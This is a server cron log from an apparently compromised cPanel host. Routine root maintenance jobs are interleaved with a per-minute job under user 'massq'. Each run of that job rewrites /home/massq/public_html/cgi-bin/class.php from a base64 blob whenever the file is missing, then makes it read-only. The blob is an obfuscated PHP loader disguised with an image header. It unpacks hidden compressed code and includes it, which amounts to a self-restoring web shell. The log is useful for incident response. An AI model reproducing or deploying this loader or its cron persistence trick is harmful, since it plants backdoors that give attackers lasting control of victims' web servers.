Sep 12 13:30:01 server CROND[18757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:30:01 server CROND[18758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:30:01 server CROND[18761]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:30:01 server CROND[18764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:30:01 server CROND[18765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:30:01 server CROND[18763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:30:01 server CROND[18762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:31:01 server CROND[19599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:31:01 server CROND[19600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:31:01 server CROND[19601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:32:01 server CROND[20027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:32:01 server CROND[20028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:32:01 server CROND[20029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:33:01 server CROND[20468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:33:01 server CROND[20469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:33:01 server CROND[20470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:34:01 server CROND[20838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:34:01 server CROND[20840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:34:01 server CROND[20839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:35:01 server CROND[21318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:35:01 server CROND[21320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:35:01 server CROND[21322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:35:01 server CROND[21327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:35:01 server CROND[21323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:35:01 server CROND[21324]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 13:35:01 server CROND[21325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:35:01 server CROND[21328]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:35:01 server CROND[21326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:36:01 server CROND[22147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:36:01 server CROND[22148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:36:01 server CROND[22149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:37:01 server CROND[22536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:37:01 server CROND[22537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:37:01 server CROND[22538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:38:01 server CROND[23070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:38:01 server CROND[23071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:38:01 server CROND[23072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:39:01 server CROND[23438]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 13:39:01 server CROND[23436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:39:01 server CROND[23437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:39:01 server CROND[23439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:40:01 server CROND[23916]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:40:01 server CROND[23922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:40:01 server CROND[23927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:40:01 server CROND[23928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:40:01 server CROND[23929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:40:01 server CROND[23930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:40:01 server CROND[23925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:40:01 server CROND[23926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:41:01 server CROND[24753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
